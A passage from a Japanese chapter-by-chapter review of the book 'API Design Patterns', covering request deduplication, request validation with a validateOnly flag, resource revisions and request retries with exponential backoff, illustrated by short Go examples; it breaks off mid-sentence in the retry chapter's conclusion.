APIのバージョニング戦略とリクエスト重複排除メカニズムを統合する方法を考慮する必要があります。新しいバージョンのAPIで重複排除の実装が変更された場合、古いバージョンとの互換性をどのように維持するかを検討しなければなりません。リクエスト重複排除とシステムアーキテクチャリクエスト重複排除の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。分散キャッシュシステム: マイクロサービスアーキテクチャにおいては、中央集権的なキャッシュシステム(例:Redis)の使用を検討する必要があります。これにより、異なるサービス間でキャッシュ情報を共有し、システム全体の一貫性を維持できます。非同期処理との統合: 長時間実行される操作や非同期処理を含むシステムでは、リクエスト重複排除メカニズムをより慎重に設計する必要があります。例えば、処理の開始時点でキャッシュエントリを作成し、処理の完了時に更新するなどの戦略が考えられます。フォールバック戦略: キャッシュシステムの障害に備えて、適切なフォールバック戦略を実装する必要があります。例えば、キャッシュが利用できない場合は、一時的に重複排除を無効にし、代わりにべき等性を保証する他の方法を使用するなどです。キャッシュの整合性維持: 分散システムにおいては、キャッシュの整合性を維持することが課題となります。イベントソーシングやCQRSなどのパターンを使用して、キャッシュの更新と実際のデータ更新を同期させる方法を検討する必要があります。スケーラビリティの考慮: リクエスト重複排除メカニズムがシステムのスケーラビリティのボトルネックにならないよう注意が必要です。負荷分散されたシステムでは、キャッシュの分散や複製を適切に設計する必要があります。結論第26章「Request deduplication」は、APIにおけるリクエスト重複排除の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの信頼性、一貫性、そして全体的なシステムの堅牢性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト重複排除は、ネットワークの不確実性に起因する問題を軽減し、非べき等な操作の安全性を向上させる重要なメカニズムです。クライアント生成のユニークな識別子と、サーバー側でのレスポンスキャッシングが、この実装の核心となります。キャッシュの一貫性、識別子の衝突管理、適切なキャッシュ有効期限の設定が、実装上の重要な考慮点となります。リクエスト重複排除の導入には、メモリ使用量の増加、複雑性の増加、一貫性と鮮度のバランスなどのトレードオフがあります。分散システムやマイクロサービスアーキテクチャにおいては、キャッシュの一貫性維持と分散が特に重要な課題となります。これらの原則を適切に適用することで、開発者はより信頼性が高く、一貫性のあるAPIを設計することができます。特に、ネットワークの信頼性が低い環境や、重要なデータ更新を扱うシステムでは、リクエスト重複排除の適切な実装が極めて重要です。しかし、リクエスト重複排除の導入には慎重な検討も必要です。特に、パフォーマンス、メモリ使用量、システムの複雑性の増加、セキュリティの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト重複排除の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリクエストの重複を防ぐだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト重複排除の適切な実装は、システムの回復力を高め、データの整合性を保護し、ユーザー体験を向上させる可能性があります。特に、マイクロサービスアーキテクチャやクラウドネイティブな環境では、この機能の重要性がより顕著になります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。さらに、リクエスト重複排除メカニズムは、システムの可観測性と運用性の向上にも貢献します。適切に実装されたリクエスト重複排除システムは、重複リクエストの頻度、パターン、原因に関する貴重な洞察を提供し、システムの挙動やネットワークの信頼性に関する問題を早期に検出することを可能にします。これらの情報は、システムの最適化や問題のトラブルシューティングに非常に有用です。最後に、リクエスト重複排除の実装は、APIの設計哲学と密接に関連しています。這いはクライアントとサーバーの責任分担、エラー処理戦略、リトライポリシーなど、APIの基本的な設計原則に影響を与えます。したがって、リクエスト重複排除メカニズムの導入を検討する際は、APIの全体的な設計哲学との整合性を慎重に評価し、必要に応じて調整を行うことが重要です。このような包括的なアプローチを取ることで、リクエスト重複排除は単なる技術的な解決策を超え、システム全体の品質と信頼性を向上させる重要な要素となります。API設計者とシステムアーキテクトは、この機能の重要性を認識し、適切に実装することで、より堅牢で効率的、そして信頼性の高いシステムを構築することができるでしょう。27 Request validation「API Design Patterns」の第27章「Request validation」は、APIにおけるリクエスト検証の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエスト検証が単なる便利機能ではなく、APIの安全性、信頼性、そして全体的なユーザー体験にどのように影響を与えるかを明確に示しています。リクエスト検証の必要性と概要著者は、APIの複雑さとそれに伴う誤用のリスクから議論を始めています。最も単純に見えるAPIでさえ、その内部動作は複雑であり、ユーザーが意図した通りに動作するかどうかを事前に確認することは困難です。特に、本番環境で未検証のリクエストを実行することのリスクは高く、著者はこれを車の修理に例えています。素人が車をいじることで深刻な問題を引き起こす可能性があるのと同様に、未検証のAPIリクエストは本番システムに予期せぬ影響を与える可能性があります。この問題に対処するため、著者はvalidateOnlyフィールドの導入を提案しています。これは、リクエストを実際に実行せずに検証のみを行うためのフラグです。この機能により、ユーザーは安全にリクエストの結果をプレビューし、潜在的な問題を事前に把握することができます。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが相互に依存し合う複雑なシステムでは、一つの誤ったリクエストが連鎖的に問題を引き起こす可能性があります。リクエスト検証を適切に実装することで、このようなリスクを大幅に軽減し、システム全体の安定性と信頼性を向上させることができます。著者は、リクエスト検証の基本的な流れを以下のように提案しています。クライアントがvalidateOnly: trueフラグを含むリクエストを送信する。サーバーはリクエストを通常通り処理するが、実際のデータ変更や副作用を伴う操作は行わない。サーバーは、実際のリクエストが行われた場合と同様のレスポンスを生成し、返却する。この方法により、ユーザーは安全にリクエストの結果をプレビューし、潜在的な問題(権限不足、データの不整合など)を事前に把握することができます。リクエスト検証の実装著者は、リクエスト検証の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。validateOnlyフラグ: リクエストオブジェクトにオプションのブーリアンフィールドとして追加します。デフォルトはfalseであるべきです。検証の範囲: 可能な限り多くの検証を行うべきです。これには、権限チェック、データの整合性チェック、参照整合性チェックなどが含まれます。外部依存関係の扱い: 外部サービスとの通信が必要な場合、それらのサービスが検証モードをサポートしていない限り、その部分の検証は省略する必要があります。レスポンスの生成: 実際のリクエストと同様のレスポンスを生成すべきです。ただし、サーバー生成の識別子などの一部のフィールドは空白または仮の値で埋める必要があります。安全性とべき等性: 検証リクエストは常に安全(データを変更しない)かつべき等(同じリクエストで常に同じ結果を返す)であるべきです。これらの原則を適用した、Golangでのリクエスト検証の実装例を以下に示します。type CreateChatRoomRequest struct { Resource ChatRoom `json:\"resource\"` ValidateOnly bool `json:\"validateOnly,omitempty\"`}func (s *Service) CreateChatRoom(ctx context.Context, req CreateChatRoomRequest) (*ChatRoom, error) { if err := s.validateCreateChatRoom(ctx, req); err != nil { return nil, err } if req.ValidateOnly { return &ChatRoom{ ID: \"placeholder-id\", Name: req.Resource.Name, // その他のフィールド }, nil } // 実際のリソース作成ロジック return s.actuallyCreateChatRoom(ctx, req.Resource)}func (s *Service) validateCreateChatRoom(ctx context.Context, req CreateChatRoomRequest) error { // 権限チェック if err := s.checkPermissions(ctx, \"create_chat_room\"); err != nil { return err } // データ検証 if err := validateChatRoomData(req.Resource); err != nil { return err } // 外部依存関係のチェック(可能な場合) // ... return nil}この実装例では、validateOnlyフラグに基づいて実際の処理を行うかどうかを制御しています。検証フェーズは常に実行され、エラーがある場合は早期に返却されます。検証モードの場合、実際のリソース作成は行わず、プレースホルダーのレスポンスを返します。リクエスト検証の影響とトレードオフ著者は、リクエスト検証の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。複雑性の増加: リクエスト検証機能の追加は、APIの複雑性を増加させます。これは、実装とテストの負担を増やす可能性があります。パフォーマンスへの影響: 検証リクエストは、実際の処理を行わないため一般的に高速ですが、大量の検証リクエストがあった場合、システムに負荷をかける可能性があります。外部依存関係の扱い: 外部サービスとの連携が必要な場合、完全な検証が難しくなる可能性があります。これは、システムの一部の動作を正確に予測できなくなることを意味します。不確定な結果の扱い: ランダム性や時間依存の処理を含むリクエストの検証は、実際の結果を正確に予測することが難しい場合があります。これらのトレードオフを適切に管理することが、リクエスト検証の成功的な実装の鍵となります。例えば、外部依存関係の扱いについては、モックやスタブを使用して可能な限り現実的な検証を行うことが考えられます。また、不確定な結果については、可能な結果の範囲を示すなど、ユーザーに適切な情報を提供することが重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。リスク管理とコスト削減: リクエスト検証は、本番環境での不適切なリクエストによるリスクを大幅に軽減します。これは、特に金融系のAPIや重要なデータを扱うシステムで非常に重要です。開発効率の向上: 開発者がAPIの動作を事前に確認できることで、開発サイクルが短縮され、品質が向上します。これは、特に複雑なマイクロサービス環境で重要です。ドキュメンテーションの補完: リクエスト検証は、動的なドキュメンテーションの一形態と見なすこともできます。開発者は、APIの動作を実際に試すことで、ドキュメントだけでは分かりにくい細かな挙動を理解できます。セキュリティの強化: 検証モードを使用することで、潜在的な脆弱性や不適切なアクセス試行を事前に発見できる可能性があります。これは、セキュリティ監査の一部として活用できます。運用の簡素化: 本番環境での問題を事前に回避できることで、インシデント対応の頻度が減少し、運用負荷が軽減されます。段階的なデプロイメント戦略との統合: 新機能のロールアウト時に、検証モードを活用して潜在的な問題を早期に発見することができます。これは、カナリアリリースやブルー/グリーンデプロイメントなどの戦略と組み合わせて効果的です。リクエスト検証とシステムアーキテクチャリクエスト検証の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。マイクロサービスアーキテクチャでの実装: 複数のサービスにまたがるリクエストの検証は、特に注意が必要です。サービス間の依存関係を考慮し、整合性のある検証結果を提供する必要があります。キャッシュ戦略: 検証リクエストの結果をキャッシュすることで、パフォーマンスを向上させることができます。ただし、キャッシュの有効期限や更新戦略を慎重に設計する必要があります。非同期処理との統合: 長時間実行される操作や非同期処理を含むシステムでは、検証モードの動作を慎重に設計する必要があります。例えば、非同期処理の予測される結果をシミュレートする方法を考える必要があります。モニタリングと可観測性: 検証リクエストの使用パターンや頻度を監視することで、APIの使用状況や潜在的な問題をより深く理解できます。これらの指標は、システムの最適化やユーザビリティの向上に活用できます。テスト戦略: リクエスト検証機能自体もテストの対象となります。特に、実際の処理と検証モードの結果の一貫性を確保するためのテスト戦略が重要です。結論第27章「Request validation」は、APIにおけるリクエスト検証の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの安全性、信頼性、そして全体的なユーザー体験を大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト検証は、APIの複雑さに起因するリスクを軽減する重要なメカニズムです。validateOnlyフラグを使用することで、ユーザーは安全にリクエストの結果をプレビューできます。検証リクエストは、可能な限り実際のリクエストと同様の処理を行いますが、データの変更や副作用を伴う操作は避けるべきです。外部依存関係や不確定な結果を含むリクエストの検証には特別な配慮が必要です。リクエスト検証の導入には、複雑性の増加やパフォーマンスへの影響などのトレードオフがありますが、それらを上回る価値を提供する可能性があります。これらの原則を適切に適用することで、開発者はより安全で信頼性の高いAPIを設計することができます。特に、重要なデータを扱うシステムや複雑なマイクロサービスアーキテクチャを採用している環境では、リクエスト検証の適切な実装が極めて重要です。しかし、リクエスト検証の導入には慎重な検討も必要です。特に、パフォーマンス、複雑性の管理、外部依存関係の扱いなどの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト検証の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリクエストの安全性を向上させるだけでなく、システム全体の信頼性、運用効率、そして開発生産性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト検証の適切な実装は、システムの回復力を高め、開発サイクルを短縮し、ユーザー体験を向上させる可能性があります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で使いやすいシステムを構築することができるでしょう。特に、急速に変化するビジネス要件や複雑な技術スタックを持つ現代のソフトウェア開発環境において、リクエスト検証は重要な役割を果たす可能性があります。最後に、リクエスト検証は単なる技術的な機能ではなく、APIの設計哲学を反映するものでもあります。これは、ユーザーフレンドリーなインターフェース、透明性、そして予測可能性への commitment を示しています。適切に実装されたリクエスト検証機能は、API提供者とその消費者の間の信頼関係を強化し、より効果的なコラボレーションを促進します。この機能は、「フェイルファスト」の原則とも整合しており、問題を早期に発見し、修正するための強力なツールとなります。開発者は、本番環境に変更をデプロイする前に、その影響を安全に評価することができます。これにより、イテレーションのサイクルが短縮され、イノベーションのペースが加速する可能性があります。また、リクエスト検証は、APIのバージョニングや進化の戦略とも密接に関連しています。新しいバージョンのAPIをリリースする際、開発者は検証モードを使用して、既存のクライアントへの影響を事前に評価することができます。これにより、破壊的な変更のリスクを最小限に抑えつつ、APIを継続的に改善することが可能になります。さらに、この機能は、APIの教育的側面も持っています。開発者は、検証モードを通じてAPIの動作を実験的に学ぶことができ、これがドキュメントを補完する動的な学習ツールとなります。これは、API の採用を促進し、正しい使用法を奨励することにつながります。最終的に、リクエスト検証の実装は、API設計者がユーザーの視点に立ち、その経験を常に考慮していることを示す象徴的な機能と言えるでしょう。これは、単に機能を提供するだけでなく、ユーザーの成功を積極的に支援するという、より広範なAPI設計哲学の一部となります。このような包括的なアプローチを取ることで、リクエスト検証は単なる技術的機能を超え、APIの品質、信頼性、そして全体的な価値を大きく向上させる重要な要素となります。API設計者とシステムアーキテクトは、この機能の重要性を認識し、適切に実装することで、より使いやすく、信頼性が高く、そして継続的な進化が可能なAPIを構築することができるでしょう。これは、急速に変化し、常に新しい課題が生まれる現代のソフトウェア開発環境において、特に重要な価値となります。28 Resource revisions「API Design Patterns」の第28章「Resource revisions」は、APIにおけるリソースのリビジョン管理の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリソースリビジョンが単なる機能の追加ではなく、APIの柔軟性、データの整合性、そして全体的なシステムの運用性にどのように影響を与えるかを明確に示しています。この章では、リソースの変更履歴を安全に保存し、過去の状態を取得または復元する方法について説明しています。具体的には、個々のリビジョンの識別方法、リビジョンの作成戦略(暗黙的または明示的)、利用可能なリビジョンのリスト化と特定のリビジョンの取得方法、以前のリビジョンへの復元の仕組み、そしてリビジョン可能なリソースの子リソースの扱い方について詳しく解説しています。リソースリビジョンの必要性と概要著者は、リソースリビジョンの必要性から議論を始めています。多くのAPIでは、リソースの現在の状態のみを保持し、過去の変更履歴を無視しています。しかし、契約書、購買注文書、法的文書、広告キャンペーンなどのリソースでは、変更履歴を追跡する必要性が高くなります。これにより、問題が発生した際に、どの変更が原因であるかを特定しやすくなります。リソースリビジョンの概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが協調して動作する環境では、各サービスが管理するリソースの変更履歴を適切に追跡し、必要に応じて過去の状態を参照または復元できることが、システム全体の一貫性と信頼性を確保する上で重要になります。著者は、リソースリビジョンの基本的な構造として、既存のリソースに2つの新しいフィールドを追加することを提案しています。revisionId: リビジョンの一意の識別子revisionCreateTime: リビジョンが作成された時刻これらのフィールドを追加することで、リソースの複数のスナップショットを時系列で管理できるようになります。これにより、リソースの変更履歴を追跡し、必要に応じて過去の状態を参照または復元することが可能になります。この概念を視覚的に表現するために、著者は以下のような図を提示しています。Figure 28.1 Adding support for revisions to a Message resourceこの図は、通常のMessageリソースにrevisionIdとrevisionCreateTimeフィールドを追加することで、リビジョン管理をサポートする方法を示しています。リソースリビジョンの実装著者は、リソースリビジョンの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。リビジョン識別子: リビジョンの一意性を確保するために、ランダムな識別子(例:UUID)を使用することを推奨しています。これにより、リビジョンの順序や時間に依存せずに、各リビジョンを一意に識別できます。リビジョンの作成戦略: 著者は、暗黙的なリビジョン作成(リソースが変更されるたびに自動的に新しいリビジョンを作成)と明示的なリビジョン作成(ユーザーが明示的にリビジョンの作成を要求)の2つの戦略を提案しています。各アプローチにはそれぞれ長所と短所があり、システムの要件に応じて選択する必要があります。リビジョンの取得と一覧表示: 特定のリビジョンを取得するためのメソッドと、利用可能なリビジョンを一覧表示するためのメソッドの実装について説明しています。これらのメソッドにより、ユーザーはリソースの変更履歴を参照し、必要に応じて特定の時点の状態を取得できます。リビジョンの復元: 以前のリビジョンの状態にリソースを戻すための復元操作の実装方法を解説しています。この操作は、誤った変更を元に戻したり、特定の時点の状態に戻したりする際に重要です。子リソースの扱い: リビジョン可能なリソースが子リソースを持つ場合の取り扱いについても議論しています。子リソースをリビジョンに含めるかどうかは、システムの要件やパフォーマンスの考慮事項に応じて決定する必要があります。これらの原則を適用した、Golangでのリソースリビジョンの実装例を以下に示します。type Resource struct { ID string `json:\"id\"` Content string `json:\"content\"` RevisionID string `json:\"revisionId\"` RevisionCreateTime time.Time `json:\"revisionCreateTime\"`}type ResourceService interface { GetResource(ctx context.Context, id string, revisionID string) (*Resource, error) ListResourceRevisions(ctx context.Context, id string) ([]*Resource, error) CreateResourceRevision(ctx context.Context, id string) (*Resource, error) RestoreResourceRevision(ctx context.Context, id string, revisionID string) (*Resource, error)}func (s *resourceService) CreateResourceRevision(ctx context.Context, id string) (*Resource, error) { resource, err := s.getLatestResource(ctx, id) if err != nil { return nil, err } newRevision := &Resource{ ID: resource.ID, Content: resource.Content, RevisionID: generateUUID(), RevisionCreateTime: time.Now(), } if err := s.saveRevision(ctx, newRevision); err != nil { return nil, err } return newRevision, nil}この実装例では、Resource構造体にリビジョン関連のフィールドを追加し、ResourceServiceインターフェースでリビジョン管理に関連するメソッドを定義しています。CreateResourceRevisionメソッドは、新しいリビジョンを作成し、保存する処理を示しています。リソースリビジョンの影響とトレードオフ著者は、リソースリビジョンの導入がシステム全体に与える影響とトレードオフについても詳細に論じています。ストレージ使用量の増加: リビジョンを保存することで、ストレージの使用量が大幅に増加します。特に、頻繁に変更されるリソースや大規模なリソースの場合、この影響は無視できません。パフォーマンスへの影響: リビジョンの作成や取得には追加のオーバーヘッドが発生します。特に、大量のリビジョンが存在する場合、リビジョンの一覧表示や特定のリビジョンの取得に時間がかかる可能性があります。複雑性の増加: リビジョン管理機能の追加により、APIの複雑性が増加します。これは、開発者の学習曲線を急にし、バグの可能性を増やす可能性があります。一貫性の課題: 特に分散システムにおいて、リビジョンの一貫性を維持することは難しい場合があります。例えば、複数のサービスにまたがるリソースの場合、全体的な一貫性を確保するのが困難になる可能性があります。リビジョン管理のオーバーヘッド: リビジョンの保持期間、古いリビジョンの削除ポリシー、リビジョン数の制限など、追加的な管理タスクが発生します。これらのトレードオフを適切に管理することが、リソースリビジョンの成功的な実装の鍵となります。例えば、ストレージ使用量の増加に対しては、圧縮技術の使用や、重要でないリビジョンの定期的な削除などの戦略が考えられます。パフォーマンスへの影響に関しては、効率的なインデックス設計や、必要に応じてキャッシュを活用することで軽減できる可能性があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。監査とコンプライアンス: リソースリビジョンは、変更履歴の追跡が必要な規制環境(金融サービス、医療情報システムなど)で特に重要です。変更の誰が、いつ、何をしたかを正確に記録し、必要に応じて過去の状態を再現できることは、コンプライアンス要件を満たす上で不可欠です。障害復旧とロールバック: リビジョン管理は、システム障害や人為的ミスからの復旧を容易にします。特定の時点の状態に戻すことができるため、データの損失やシステムの不整合を最小限に抑えることができます。分散システムでの一貫性: マイクロサービスアーキテクチャにおいて、リソースリビジョンは分散システム全体の一貫性を維持する上で重要な役割を果たします。例えば、複数のサービスにまたがるトランザクションを、各サービスのリソースリビジョンを用いて追跡し、必要に応じて補償トランザクションを実行することができます。A/Bテストと段階的ロールアウト: リビジョン管理機能は、新機能の段階的なロールアウトやA/Bテストの実施を容易にします。特定のユーザーグループに対して特定のリビジョンを提供することで、変更の影響を慎重に評価できます。パフォーマンス最適化: リビジョン管理の実装には、効率的なデータ構造とアルゴリズムの選択が重要です。例えば、差分ベースのストレージを使用して、リビジョン間の変更のみを保存することで、ストレージ使用量を最適化できます。セキュリティとアクセス制御: リビジョン管理を導入する際は、各リビジョンへのアクセス制御を適切に設計する必要があります。特に、機密情報を含むリビジョンへのアクセスを制限し、監査ログを維持することが重要です。APIの進化とバージョニング: リソースリビジョンの概念は、APIそのもののバージョニング戦略と関連付けて考えることができます。APIの各バージョンを、特定の時点でのリソース定義のリビジョンとして扱うことで、APIの進化をより体系的に管理できる可能性があります。リソースリビジョンとシステムアーキテクチャリソースリビジョンの設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: リビジョン管理をサポートするために、データベーススキーマの設計を適切に行う必要があります。例えば、メインのリソーステーブルとは別にリビジョンテーブルを作成し、効率的にクエリできるようにインデックスを設計することが重要です。キャッシュ戦略: リビジョン管理は、キャッシュ戦略に影響を与えます。特定のリビジョンをキャッシュする場合、キャッシュの有効期限や更新戦略を慎重に設計する必要があります。イベントソーシングとCQRS: リソースリビジョンの概念は、イベントソーシングやCQRS(Command Query Responsibility Segregation)パターンと親和性が高いです。これらのパターンを組み合わせることで、より柔軟で拡張性の高いシステムを構築できる可能性があります。バックアップと災害復旧: リビジョン管理機能は、バックアップと災害復旧戦略に組み込むことができます。特定の時点のシステム全体の状態を、各リソースの適切なリビジョンを用いて再構築することが可能になります。マイクロサービス間の整合性: 複数のマイクロサービスにまたがるリソースの場合、リビジョン管理を通じてサービス間の整合性を維持することができます。例えば、分散トランザクションの代わりに、各サービスのリソースリビジョンを用いた補償トランザクションを実装することが考えられます。結論第28章「Resource revisions」は、APIにおけるリソースリビジョン管理の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、データの整合性、そして全体的なシステムの運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リソースリビジョンは、変更履歴の追跡、過去の状態の参照、誤った変更のロールバックを可能にする強力な機能です。リビジョン管理の実装には、リビジョン識別子の設計、リビジョン作成戦略の選択、リビジョンの取得と一覧表示、復元機能の実装など、多くの考慮事項があります。リソースリビジョンの導入には、ストレージ使用量の増加、パフォーマンスへの影響、複雑性の増加などのトレードオフがあります。これらを適切に管理することが重要です。リビジョン管理は、監査とコンプライアンス、障害復旧とロールバック、分散システムでの一貫性維持など、多くの実践的な応用が可能です。リソースリビジョンの設計は、データモデル、キャッシュ戦略、イベントソーシング、バックアップと災害復旧など、システム全体のアーキテクチャに大きな影響を与えます。これらの原則を適切に適用することで、開発者はより柔軟で信頼性の高いAPIを設計することができます。特に、変更履歴の追跡が重要な環境や、複雑な分散システムでは、リソースリビジョンの適切な実装が極めて重要です。しかし、リソースリビジョンの導入には慎重な検討も必要です。特に、ストレージ使用量の増加、パフォーマンスへの影響、システムの複雑性の増加などの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リソースリビジョンの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリソースの変更履歴を管理するだけでなく、システム全体の一貫性、信頼性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リソースリビジョンの適切な実装は、システムの回復力を高め、データの整合性を保護し、変更管理を容易にする可能性があります。特に、マイクロサービスアーキテクチャやクラウドネイティブな環境では、この機能の重要性がより顕著になります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。リソースリビジョン管理は、単なる技術的機能を超えて、システム全体の品質と信頼性を向上させる重要な要素となります。適切に実装されたリビジョン管理システムは、変更の追跡、問題の診断、そして迅速な復旧を可能にし、結果としてシステムの運用性と信頼性を大きく向上させます。さらに、この機能は、コンプライアンス要件の遵守、データガバナンスの強化、そして長期的なシステム進化の管理にも貢献します。API設計者とシステムアーキテクトは、リソースリビジョン管理の重要性を認識し、適切に実装することで、より堅牢で効率的、そして将来の変化に適応可能なシステムを構築することができます。これは、急速に変化し、常に新しい課題が生まれる現代のソフトウェア開発環境において、特に重要な価値となります。29 Request retrial\"API Design Patterns\" の第29章「Request retrial」は、API リクエストの再試行に関する重要な概念と実装方法について詳細に論じています。この章では、失敗したAPIリクエストのうち、どれを安全に再試行できるか、リトライのタイミングに関する高度な指数関数的バックオフ戦略、「雪崩現象」を回避する方法、そしてAPIがクライアントにリトライのタイミングを指示する方法について説明しています。リクエスト再試行の必要性と概要著者は、Web APIにおいてリクエストの失敗は避けられない現実であることを指摘することから議論を始めています。失敗の原因には、クライアント側のエラーや、APIサーバー側の一時的な問題など、様々なものがあります。特に後者の場合、同じリクエストを後で再試行することで問題が解決する可能性があります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。分散システムでは、ネットワークの不安定性やサービスの一時的な障害が頻繁に発生する可能性があるため、適切な再試行メカニズムは、システム全体の信頼性と回復力を大幅に向上させる可能性があります。著者は、再試行可能なリクエストを識別し、適切なタイミングで再試行を行うための2つの主要なアプローチを提案しています。クライアント側の再試行タイミング(指数関数的バックオフ)サーバー指定の再試行タイミングこれらのアプローチは、システムの効率性を最大化しつつ、不要な再試行を最小限に抑えるという目標を達成するために設計されています。クライアント側の再試行タイミング著者は、クライアント側の再試行戦略として、指数関数的バックオフアルゴリズムを推奨しています。このアルゴリズムは、再試行の間隔を徐々に増やしていくことで、システムに過度の負荷をかけることなく、再試行の成功確率を高めます。指数関数的バックオフの基本的な実装は以下のようになります。func retryWithExponentialBackoff(operation func() error, maxRetries int) error { var err error for attempt := 0; attempt < maxRetries; attempt++ { err = operation() if err == nil { return nil } delay := time.Duration(math.Pow(2, float64(attempt))) * time.Second time.Sleep(delay) } return err}しかし、著者はこの基本的な実装にいくつかの重要な改良を加えることを提案しています。最大遅延時間の設定: 再試行の間隔が無限に長くなることを防ぐため。最大再試行回数の設定: 無限ループを防ぐため。ジッター(ランダムな遅延)の追加: 「雪崩現象」を防ぐため。これらの改良を加えた、より洗練された実装は以下のようになります。func retryWithExponentialBackoff(operation func() error, maxRetries int, maxDelay time.Duration) error { var err error for attempt := 0; attempt < maxRetries; attempt++ { err = operation() if err == nil { return nil } delay := time.Duration(math.Pow(2, float64(attempt))) * time.Second if delay > maxDelay { delay = maxDelay } jitter := time.Duration(rand.Float64() * float64(time.Second)) time.Sleep(delay + jitter) } return err}この実装は、システムの回復力を高めつつ、不必要な負荷を避けるバランスの取れたアプローチを提供します。サーバー指定の再試行タイミング著者は、APIサーバーが再試行のタイミングを明示的に指定できる場合があることを指摘しています。これは主に、サーバーが特定の情報(例:レート制限のリセットタイミング)を持っている場合に有用です。この目的のために、著者はHTTPの\"Retry-After\"ヘッダーの使用を推奨しています。このヘッダーを使用することで、サーバーは正確な再試行タイミングをクライアントに伝えることができます。func handleRateLimitedRequest(w http.ResponseWriter, r *http.Request) { if isRateLimited(r) { retryAfter := calculateRetryAfter() w.Header().Set(\"Retry-After\", strconv.Itoa(int(retryAfter.Seconds()))) w.WriteHeader(http.StatusTooManyRequests) return } // 通常の処理を続行}クライアント側では、このヘッダーを検出し、指定された時間だけ待機してからリクエストを再試行します。func sendRequestWithRetry(client *http.Client, req *http.Request) (*http.Response, error) { resp, err := client.Do(req) if err != nil { return nil, err } if resp.StatusCode == http.StatusTooManyRequests { retryAfter := resp.Header.Get(\"Retry-After\") if retryAfter != \"\" { seconds, _ := strconv.Atoi(retryAfter) time.Sleep(time.Duration(seconds) * time.Second) return sendRequestWithRetry(client, req) } } return resp, nil}この手法は、サーバーの状態や制約に基づいて、より正確で効率的な再試行戦略を実現します。再試行可能なリクエストの判断著者は、全てのエラーが再試行可能なわけではないという重要な点を強調しています。再試行可能なエラーとそうでないエラーを区別することは、効果的な再試行戦略の鍵となります。一般的に、以下のようなガイドラインが提示されています。再試行可能: 408 (Request Timeout), 429 (Too Many Requests), 503 (Service Unavailable) など。これらは一時的な問題を示唆しています。再試行不可能: 400 (Bad Request), 403 (Forbidden), 404 (Not Found) など。これらは永続的な問題を示唆しています。条件付き再試行可能: 500 (Internal Server Error), 502 (Bad Gateway), 504 (Gateway Timeout) など。これらは状況に応じて再試行可能かどうかが変わります。この区別は、システムの効率性と信頼性を維持する上で重要です。不適切な再試行は、システムリソースの無駄遣いや、意図しない副作用を引き起こす可能性があります。実践的な応用と考察この章の内容は、実際のAPI設計と運用において非常に重要です。特に以下の点が重要になります。システムの回復力: 適切な再試行メカニズムは、一時的な障害から自動的に回復するシステムの能力を大幅に向上させます。これは特に、マイクロサービスアーキテクチャのような分散システムにおいて重要です。効率的なリソース利用: 指数関数的バックオフやサーバー指定の再試行タイミングを使用することで、システムリソースを効率的に利用しつつ、再試行の成功確率を最大化できます。ユーザーエクスペリエンス: エンドユーザーの視点からは、適切な再試行メカニズムは、一時的な問題を自動的に解決し、シームレスなエクスペリエンスを提供します。運用の簡素化: 適切に設計された再試行メカニズムは、手動介入の必要性を減らし、運用タスクを簡素化します。モニタリングと可観測性: 再試行の頻度や成功率を監視することで、システムの健全性や潜在的な問題を把握するための貴重な洞察が得られます。結論第29章「Request 